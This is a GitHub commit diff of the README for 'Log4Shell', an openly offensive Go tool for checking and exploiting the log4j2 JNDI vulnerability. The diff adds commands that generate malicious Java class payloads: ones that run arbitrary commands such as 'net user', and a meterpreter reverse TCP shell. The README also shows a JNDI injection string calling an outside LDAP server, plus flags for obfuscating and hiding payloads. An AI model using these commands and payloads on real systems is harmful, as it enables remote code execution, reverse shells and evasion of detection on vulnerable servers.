Skip to content

Commit fefeee7

Browse files
authored
add subtitle about generate java class file, update help information.
1 parent 5278cdb commit fefeee7

File tree

1 file changed

+27
-4
lines changed

1 file changed

+27
-4
lines changed

README.md

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,14 +3,15 @@
33
[![Go Report Card](https://goreportcard.com/badge/github.com/For-ACGN/Log4Shell)](https://goreportcard.com/report/github.com/For-ACGN/Log4Shell)
44
[![GoDoc](https://godoc.org/github.com/For-ACGN/Log4Shell?status.svg)](http://godoc.org/github.com/For-ACGN/Log4Shell)
55
[![License](https://img.shields.io/github/license/For-ACGN/Log4Shell.svg)](https://github.com/For-ACGN/Log4Shell/blob/master/LICENSE)\
6-
Check, exploit, obfuscate, TLS, ACME about log4j2 vulnerability in one Go program.
6+
Check, exploit, generate class, obfuscate, TLS, ACME about log4j2 vulnerability in one Go program.
77

88
## Feature
99
* Only one program and easy deployment
1010
* Support common operating systems
1111
* Support multi Java class files
1212
* Support LDAPS and HTTPS server
1313
* Support ACME to sign certificate
14+
* Generate class without java compiler
1415
* Support obfuscate malicious(payload)
1516
* Hide malicious(payload) string
1617
* Add secret to protect HTTP server
@@ -28,6 +29,20 @@
2829
### Start Log4Shell server with ACME
2930
* ```Log4Shell.exe -host "example.com" -auto-cert``` (must use domain name)
3031

32+
### Generate Java class file
33+
```
34+
Execute(no output):
35+
Log4Shell.exe -gen "execute" -args "-cmd calc" -class "Test"
36+
37+
System(with output):
38+
Log4Shell.exe -gen "system" -args "-bin cmd -args \"/c net user\"" -class "Test"
39+
40+
ReverseTCP(java/meterpreter/reverse_tcp): // template will be open source after some time
41+
Log4Shell.exe -gen "reverse_tcp" -args "-host 127.0.0.1 -port 9979" -class "Test"
42+
43+
The generated class file will be saved to the payload directory(can set output flag)
44+
```
45+
3146
### Obfuscate malicious(payload) string
3247
```
3348
Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/Calc}"
@@ -44,9 +59,9 @@
4459
Each string can only be used once, or wait 20 seconds.
4560
```
4661
```
47-
When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the number
48-
of repetitions is equal the number of occurrences about string "${". The LDAP server add a
49-
simple token mechanism for prevent it.
62+
When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the number of
63+
repetitions is equal the number of occurrences about string "${". The LDAP server add a simple
64+
token mechanism for prevent it.
5065
```
5166

5267
### Hide malicious(payload) string
@@ -111,8 +126,14 @@
111126
https://github.com/For-ACGN/Log4Shell
112127
113128
Usage of Log4Shell.exe:
129+
-args string
130+
arguments about generate Java class file
114131
-auto-cert
115132
use ACME client to sign certificate automatically
133+
-class string
134+
specify the new class name
135+
-gen string
136+
generate Java class file with template name
116137
-hide
117138
hide obfuscated malicious(payload) string in log4j2
118139
-host string
@@ -129,6 +150,8 @@ Usage of Log4Shell.exe:
129150
not add random token when use obfuscate
130151
-obf string
131152
obfuscate malicious(payload) string
153+
-output string
154+
generated Java class file output path
132155
-payload string
133156
payload(java class) directory (default "payload")
134157
-tls-cert string

0 commit comments

Comments
 (0)